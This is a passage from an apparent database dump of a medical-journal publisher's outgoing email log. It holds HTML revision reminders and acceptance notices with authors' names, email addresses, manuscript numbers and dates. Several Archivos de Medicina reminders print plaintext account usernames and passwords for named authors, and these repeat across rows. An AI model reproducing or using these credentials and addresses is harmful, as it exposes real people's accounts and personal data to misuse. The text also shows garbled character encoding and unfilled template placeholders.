revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>christian</b><br />\r\npassword: <b>iKE6Y5ZN</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','christiand-perezc@unilibre.edu.co',10147,'2021-11-06',274),(3918,'<p>Ref.:  Ms. No. : <b>ipadm-21-10452</b><br />\r\n<br />\r\nARTICLE TITLE: <b>ENFOQUE Y MANEJO DE LA ENFERMEDAD DIARREICA AGUDA: REVISI&Atilde;&ldquo;N DE LA LITERATURA</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Beltr&Atilde;&iexcl;n Castro</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-10452</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>marvin</b><br />\r\npassword: <b>SmgVKofB</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','marvinsbc@hotmail.com',10452,'2021-11-06',274),(3920,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11432</b><br />\r\n            <br />\r\n            Article Title: <b>Managing Violent Situations in the Health Care Environment with the aid of simulation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pekara</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','pekara@vszdrav.cz',11432,'2021-11-09',48),(3921,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11354</b><br />\r\n            <br />\r\n            Article Title: <b>Spread of nosocomial infections: A systematized review on nurses&rsquo; perceptions, attitudes and practices</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dakhilallah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hdakhelallah@moh.gov.sa',11354,'2021-11-09',48),(3922,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11307</b><br />\r\n            <br />\r\n            Article Title: <b>Compliance with standard precautions among nurses in Saudi hospitals</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>DAKHILALLAH</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','HDAKHELALLAH@MOG.GOV.SA',11307,'2021-11-09',48),(3928,'<p>Ref.:  Ms. No. : <b>ipadm-21-9640</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Migration of an intrauterine device to the bladder: a case report</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Reyes Quan</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9640</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>javier</b><br />\r\npassword: <b>OeLbBSYD</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','jareq_9@hotmail.com',9640,'2021-11-09',274),(3929,'<p>Ref.:  Ms. No. : <b>ipadm-21-9999</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Reporte de casos sobre el uso de &Atilde;&iexcl;cido tranex&Atilde;&iexcl;mico para reducir el sangrado perioperatorio en liposucci&Atilde;&sup3;n y abdominoplastia </b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Fuentes-Alzate</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9999</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>juan_jose</b><br />\r\npassword: <b>PKndjfHJ</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','juanjfuentes@icloud.com',9999,'2021-11-09',274),(3930,'<p>Ref.:  Ms. No. : <b>ipadm-21-10147</b><br />\r\n<br />\r\nARTICLE TITLE: <b>PIE DIABETICO. HERRAMIENTAS PARA LA IDENTIFICACI&Atilde;&ldquo;N DEL PIE EN RIESGO Y SU INTERVENCI&Atilde;&ldquo;N OPORTUNA.</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Perez</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-10147</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>christian</b><br />\r\npassword: <b>iKE6Y5ZN</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','christiand-perezc@unilibre.edu.co',10147,'2021-11-09',274),(3931,'<p>Ref.:  Ms. No. : <b>ipadm-21-10452</b><br />\r\n<br />\r\nARTICLE TITLE: <b>ENFOQUE Y MANEJO DE LA ENFERMEDAD DIARREICA AGUDA: REVISI&Atilde;&ldquo;N DE LA LITERATURA</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Beltr&Atilde;&iexcl;n Castro</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-10452</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>marvin</b><br />\r\npassword: <b>SmgVKofB</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','marvinsbc@hotmail.com',10452,'2021-11-09',274),(3932,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11439</b><br />\r\n            <br />\r\n            Article Title: <b>Short Note on Chronic Thromboembolic Pulmonary Hypertension</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dogan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dgzeytun@erincan.edu.tr',11439,'2021-11-09',85),(3933,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11354</b><br />\r\n            <br />\r\n            Article Title: <b>Spread of nosocomial infections: A systematized review on nurses&rsquo; perceptions, attitudes and practices</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dakhilallah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hdakhelallah@moh.gov.sa',11354,'2021-11-11',48),(3934,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11307</b><br />\r\n            <br />\r\n            Article Title: <b>Compliance with standard precautions among nurses in Saudi hospitals</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>DAKHILALLAH</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','HDAKHELALLAH@MOG.GOV.SA',11307,'2021-11-11',48),(3938,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11451</b><br />\r\n            <br />\r\n            Article Title: <b>Animal Models of Calcific Aortic Valve Disease  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b> Sherzad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ghafarsherzad11@gmail.com',11451,'2021-11-13',48),(3939,'<p>Ref.:  Ms. No. : <b>ipadm-21-9999</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Reporte de casos sobre el uso de &Atilde;&iexcl;cido tranex&Atilde;&iexcl;mico para reducir el sangrado perioperatorio en liposucci&Atilde;&sup3;n y abdominoplastia </b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Fuentes-Alzate</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9999</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>juan_jose</b><br />\r\npassword: <b>PKndjfHJ</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','juanjfuentes@icloud.com',9999,'2021-11-13',274),(3940,'<p>Ref.:  Ms. No. : <b>ipadm-21-9640</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Migration of an intrauterine device to the bladder: a case report</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Reyes Quan</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9640</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>javier</b><br />\r\npassword: <b>OeLbBSYD</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','jareq_9@hotmail.com',9640,'2021-11-13',274),(3941,'<p>Ref.:  Ms. No. : <b>ipadm-21-10147</b><br />\r\n<br />\r\nARTICLE TITLE: <b>PIE DIABETICO. HERRAMIENTAS PARA LA IDENTIFICACI&Atilde;&ldquo;N DEL PIE EN RIESGO Y SU INTERVENCI&Atilde;&ldquo;N OPORTUNA.</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Perez</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-10147</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>christian</b><br />\r\npassword: <b>iKE6Y5ZN</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','christiand-perezc@unilibre.edu.co',10147,'2021-11-13',274),(3942,'<p>Ref.:  Ms. No. : <b>ipadm-21-10452</b><br />\r\n<br />\r\nARTICLE TITLE: <b>ENFOQUE Y MANEJO DE LA ENFERMEDAD DIARREICA AGUDA: REVISI&Atilde;&ldquo;N DE LA LITERATURA</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Beltr&Atilde;&iexcl;n Castro</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-10452</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>marvin</b><br />\r\npassword: <b>SmgVKofB</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','marvinsbc@hotmail.com',10452,'2021-11-13',274),(3944,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11492</b><br />\r\n            <br />\r\n            Article Title: <b>&acirc;&euro;&oelig;Quality of life and family support in critically ill patients following ICU discharge&acirc;&euro;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>AVGERI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','augkwnna_2015@yahoo.gr',11492,'2021-11-17',48),(3945,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11492</b><br />\r\n            <br />\r\n            Article Title: <b>&acirc;&euro;&oelig;Quality of life and family support in critically ill patients following ICU discharge&acirc;&euro;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>AVGERI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','augkwnna_2015@yahoo.gr',11492,'2021-11-17',48),(3947,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-10930</b><br />\r\n            <br />\r\n            Article Title: <b>Cytology of Oral Squamous cell carcinoma Case Reports and Short Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <strong>NITHEASH&nbsp;P<br />\r\n            </strong><br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nitheash.p46@gmail.com',10930,'2021-11-19',984),(3948,'<p>Ref.:  Ms. No. : <b>ipadm-21-9640</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Migration of an intrauterine device to the bladder: a case report</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Reyes Quan</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9640</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>javier</b><br />\r\npassword: <b>OeLbBSYD</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','jareq_9@hotmail.com',9640,'2021-11-23',274),(3949,'<p>Ref.:  Ms. No. : <b>ipadm-21-9999</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Reporte de casos sobre el uso de &Atilde;&iexcl;cido tranex&Atilde;&iexcl;mico para reducir el sangrado perioperatorio en liposucci&Atilde;&sup3;n y abdominoplastia </b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Fuentes-Alzate</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9999</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>juan_jose</b><br />\r\npassword: <b>PKndjfHJ</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent 